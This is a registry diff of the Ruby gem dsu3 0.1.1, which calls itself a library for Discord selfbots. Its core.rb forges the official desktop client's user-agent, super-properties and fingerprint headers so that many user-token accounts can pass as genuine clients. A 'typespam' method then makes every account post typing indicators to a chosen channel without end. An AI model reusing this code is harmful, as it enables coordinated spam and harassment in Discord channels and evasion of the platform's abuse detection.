dsu3 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/README.md +9 -0
- data/lib/dsu3/bot.rb +38 -0
- data/lib/dsu3/core.rb +71 -0
- data/lib/dsu3.rb +12 -0
- metadata +62 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 2cbc5bed63d5169fb7075fa008aff037d57963fcded8b2966817e8d597a58019
|
4
|
+
data.tar.gz: 4165c98f3c3f1ad76a2818ccd08c6ed9c16de71181f676f446fdc342c1f968d6
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 24f4b7f673bc3f08fd2db4f53ee52543aebbd9598a056f706658306a74ea56037a396e50190539a98d419fd431d89668d6168a10dc9c250cd351756473f2675f
|
7
|
+
data.tar.gz: 11d228d975bed83427621f15303fceff732930ceec9b5a7315be2ba3d42219757c2b3e94cd6ef8be1e6c4677a7fbbb993b4a61d2040bb0e2e9a9b552eb06b717
|
data/README.md
ADDED
data/lib/dsu3/bot.rb
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'rest-client'
|
4
|
+
require 'uri'
|
5
|
+
|
6
|
+
module DSU3
|
7
|
+
class Bot
|
8
|
+
API_BASE = 'https://discord.com/api/v9'
|
9
|
+
|
10
|
+
# @param [Hash] headers
|
11
|
+
def initialize(headers)
|
12
|
+
@headers = headers
|
13
|
+
end
|
14
|
+
|
15
|
+
# Makes an API request, includes simple rate limit handling
|
16
|
+
# @param [Symbol, String] method
|
17
|
+
# @param [String] endpoint Discord API endpoint
|
18
|
+
# @param [Hash] headers Additional request headers
|
19
|
+
# @param [String] payload
|
20
|
+
def request(method, endpoint, headers = {}, payload = nil)
|
21
|
+
args = {
|
22
|
+
method: method,
|
23
|
+
url: URI.join(API_BASE, endpoint).to_s,
|
24
|
+
headers: @headers.merge(headers)
|
25
|
+
}
|
26
|
+
|
27
|
+
args[:payload] = payload if payload
|
28
|
+
|
29
|
+
begin
|
30
|
+
RestClient::Request.execute(args)
|
31
|
+
rescue RestClient::TooManyRequests => e
|
32
|
+
LOGGER.warn('rate limit exceeded')
|
33
|
+
sleep(e.headers['Retry-After'])
|
34
|
+
retry
|
35
|
+
end
|
36
|
+
end
|
37
|
+
end
|
38
|
+
end
|
data/lib/dsu3/core.rb
ADDED
@@ -0,0 +1,71 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'base64'
|
4
|
+
require 'json'
|
5
|
+
|
6
|
+
require 'dsu3/bot'
|
7
|
+
|
8
|
+
module DSU3
|
9
|
+
# All DSU3 functionality, used to manage multiple bots
|
10
|
+
class Core
|
11
|
+
# user-agent header
|
12
|
+
USER_AGENT =
|
13
|
+
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) '\
|
14
|
+
'discord/0.0.18 Chrome/91.0.4472.164 Electron/13.6.6 Safari/537.36'
|
15
|
+
|
16
|
+
# Decoded x-super-properties header
|
17
|
+
SUPER_PROPERTIES = {
|
18
|
+
os: 'Linux',
|
19
|
+
browser: 'Discord Client',
|
20
|
+
release_channel: 'stable',
|
21
|
+
client_version: '0.0.18',
|
22
|
+
os_version: '5.10.0-14-amd64',
|
23
|
+
os_arch: 'x64',
|
24
|
+
system_locale: 'en-US',
|
25
|
+
window_manager: 'XFCE,xfce',
|
26
|
+
distro: 'Debian GNU/Linux 11 (bullseye)',
|
27
|
+
client_build_number: 136_921,
|
28
|
+
client_event_source: nil
|
29
|
+
}.freeze
|
30
|
+
|
31
|
+
# Main headers
|
32
|
+
HEADERS = {
|
33
|
+
accept: '*/*',
|
34
|
+
accept_encoding: 'gzip, deflate, br',
|
35
|
+
accept_language: 'en-US',
|
36
|
+
sec_fetch_dest: 'empty',
|
37
|
+
sec_fetch_mode: 'cors',
|
38
|
+
sec_fetch_site: 'same-origin',
|
39
|
+
user_agent: USER_AGENT,
|
40
|
+
x_debug_options: 'bugReporterEnabled',
|
41
|
+
x_discord_locale: 'en-US',
|
42
|
+
x_super_properties: Base64.strict_encode64(SUPER_PROPERTIES.to_json)
|
43
|
+
}.freeze
|
44
|
+
|
45
|
+
# @param [Array] tokens List of bot tokens
|
46
|
+
def initialize(tokens)
|
47
|
+
headers = get_headers
|
48
|
+
@bots = tokens.map { |token| Bot.new(headers.merge(authorization: token)) }
|
49
|
+
end
|
50
|
+
|
51
|
+
# Infinitely types in a certain channel
|
52
|
+
# @param [String, Integer] channel Channel id
|
53
|
+
def typespam(channel)
|
54
|
+
loop do
|
55
|
+
@bots.each { |bot| bot.request(:post, "channels/#{channel}/typing") }
|
56
|
+
sleep 9
|
57
|
+
end
|
58
|
+
end
|
59
|
+
|
60
|
+
private
|
61
|
+
|
62
|
+
def get_headers
|
63
|
+
resp = RestClient.get('https://discord.com/api/v9/experiments', HEADERS)
|
64
|
+
|
65
|
+
{
|
66
|
+
cookie: HTTP::Cookie.cookie_value(resp.cookie_jar.cookies),
|
67
|
+
x_fingerprint: JSON.parse(resp.body)['fingerprint']
|
68
|
+
}.merge(HEADERS)
|
69
|
+
end
|
70
|
+
end
|
71
|
+
end
|
data/lib/dsu3.rb
ADDED
metadata
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: dsu3
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.1.1
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Artur Sheremetjev IV
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2022-07-15 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: rest-client
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - "~>"
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: '2.0'
|
20
|
+
type: :runtime
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - "~>"
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: '2.0'
|
27
|
+
description:
|
28
|
+
email:
|
29
|
+
executables: []
|
30
|
+
extensions: []
|
31
|
+
extra_rdoc_files:
|
32
|
+
- README.md
|
33
|
+
files:
|
34
|
+
- README.md
|
35
|
+
- lib/dsu3.rb
|
36
|
+
- lib/dsu3/bot.rb
|
37
|
+
- lib/dsu3/core.rb
|
38
|
+
homepage: https://github.com/hackers-pr/dsu3
|
39
|
+
licenses:
|
40
|
+
- MIT
|
41
|
+
metadata:
|
42
|
+
source_code_uri: https://github.com/hackers-pr/dsu3
|
43
|
+
post_install_message:
|
44
|
+
rdoc_options: []
|
45
|
+
require_paths:
|
46
|
+
- lib
|
47
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
48
|
+
requirements:
|
49
|
+
- - ">="
|
50
|
+
- !ruby/object:Gem::Version
|
51
|
+
version: 2.0.0
|
52
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
53
|
+
requirements:
|
54
|
+
- - ">="
|
55
|
+
- !ruby/object:Gem::Version
|
56
|
+
version: '0'
|
57
|
+
requirements: []
|
58
|
+
rubygems_version: 3.2.5
|
59
|
+
signing_key:
|
60
|
+
specification_version: 4
|
61
|
+
summary: a simple library for working with discord selfbots
|
62
|
+
test_files: []
|